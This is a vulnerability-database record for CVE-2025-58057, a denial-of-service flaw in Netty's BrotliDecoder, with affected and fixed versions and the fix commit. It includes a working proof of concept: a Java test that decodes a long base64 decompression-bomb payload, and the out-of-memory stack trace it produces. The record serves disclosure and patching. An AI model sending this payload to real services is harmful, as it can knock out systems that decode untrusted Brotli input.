{"id":"CVE-2025-58057","aliases":["GHSA-3p8m-j85q-pgmj"],"url":"https://o3.security/vulnerability/CVE-2025-58057","summary":"Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack","details":"### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.<init>(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.","published":"2025-09-03T21:46:49.928Z","modified":"2026-08-12T15:16:52.520521Z","cvss":null,"epss":{"score":0.00601,"percentile":0.46083,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.netty:netty-codec-compression","fixedVersion":"4.2.5.Final"},{"ecosystem":"Maven","name":"io.netty:netty-codec","fixedVersion":"4.1.125.Final"}],"fix":{"url":"https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d","label":"netty/netty@9d804c5"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/58xxx/CVE-2025-58057.json"},{"type":"ADVISORY","url":"https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-58057"},{"type":"FIX","url":"https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"},{"type":"PACKAGE","url":"https://github.com/netty/netty"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T15:16:52.520521Z"}}